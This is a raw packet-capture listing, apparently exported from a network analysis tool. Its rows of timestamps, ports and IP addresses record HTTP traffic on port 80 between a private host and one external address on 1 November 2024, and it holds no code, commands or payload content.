Nov 1, 2024 10:56:12.578011036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578021049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578032017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578046083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578058004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578058958 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.578074932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578087091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578099012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578099966 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.578110933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578119993 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.578149080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.578176975 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.578356028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578366995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578377962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578388929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578407049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578413010 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.578418970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578430891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578443050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578454018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.578454971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578468084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578478098 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.578479052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578490973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578502893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578515053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578526974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578530073 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.578540087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578552008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578573942 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.578603029 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.578809977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578835011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578845978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578886986 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.578917980 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.578964949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578975916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578989029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578994036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.578999996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579010963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579020977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579056025 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.579087973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579098940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579102039 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.579128981 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.579253912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579267025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579277039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579287052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579298973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579310894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579309940 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.579327106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579339027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579350948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579359055 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.579363108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579375982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579381943 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.579431057 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.579459906 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.579484940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579495907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579521894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579533100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579536915 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.579544067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579571962 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.579653978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579665899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579677105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579688072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579699993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579711914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579714060 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.579749107 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.579791069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579792976 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.579802990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579813957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579824924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579854012 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.579889059 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.579904079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579916000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579925060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579936981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579947948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579958916 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.579960108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579972029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579983950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.579988956 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.579999924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.580015898 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.580039978 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.580176115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.580193043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.580203056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.580214977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.580228090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.580235958 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.580259085 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.580316067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.580369949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.580383062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.580394030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.580434084 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.580466032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.580476999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.580487013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.580499887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.580516100 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.580563068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.580626965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.580637932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.580648899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.580660105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.580671072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.580682993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.580683947 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.580693960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.580707073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.580709934 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.580749035 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.580768108 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.580770969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.581311941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.581351042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.581362009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.581398010 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.581428051 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.581442118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.581453085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.581463099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.581475019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.581495047 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.581525087 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.581540108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.581552029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.581598997 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.581823111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.581881046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.581892014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.581943035 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.581959963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.581970930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.581981897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.581993103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.582010984 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.582040071 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.582087994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.582098961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.582108974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.582119942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.582130909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.582142115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.582144976 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.582185030 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.582216978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.582227945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.582237959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.582266092 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.582287073 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.582823038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.582834005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.582845926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.582882881 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.582906008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.582916975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.582928896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.582941055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.582966089 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.582990885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.583003044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.583014965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.583070040 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.583112955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.583125114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.583133936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.583146095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.583158016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.583169937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.583172083 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.583180904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.583204985 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.583204985 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.583236933 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.583688021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.583758116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.583769083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.583802938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.583813906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.583822966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.583842993 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.583882093 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.583882093 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.583920002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.583930016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.583940983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.583950996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.583962917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.583975077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.583985090 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.584018946 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.584047079 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.584054947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.584064960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.584074974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.584086895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.584106922 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.584141970 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.584635019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.584681988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.584692955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.584708929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.584738970 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.584772110 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.584928989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.584966898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.584981918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.584992886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.585026979 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.585051060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.585053921 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.585067034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.585078001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.585114956 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.585201979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.585222006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.585232019 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.585242987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.585254908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.585257053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.585266113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.585277081 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.585278034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.585289001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.585300922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.585318089 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.585349083 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.585375071 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.585867882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.585908890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.585918903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.585930109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.585964918 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.585997105 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.586007118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.586018085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.586029053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.586039066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.586062908 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.586147070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.586157084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.586167097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.586177111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.586180925 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.586189032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.586199999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.586203098 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.586210012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.586220026 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.586221933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.586251974 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.586291075 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.586832047 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.586843014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.586853981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.586886883 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.586901903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.586913109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.586922884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.586934090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.586960077 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.586993933 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.587060928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.587070942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.587083101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.587094069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.587105989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.587110996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.587117910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.587129116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.587129116 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.587140083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.587151051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.587177992 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.587236881 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.587681055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.587706089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.587717056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.587747097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.587759018 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.587788105 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.587852955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.587863922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.587873936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.587907076 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.587929964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.587943077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.587953091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.587965965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.587984085 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.587995052 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.588005066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.588023901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.588038921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.588047028 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.588051081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.588062048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.588088989 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.588119984 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.588238955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.588249922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.588258982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.588270903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.588282108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.588293076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.588294983 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.588304996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.588313103 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.588346004 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.588371038 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.588382959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.588392973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.588403940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.588417053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.588428020 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.588432074 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.588439941 CET	80	49738	185.215.113.16	192.168.2.4
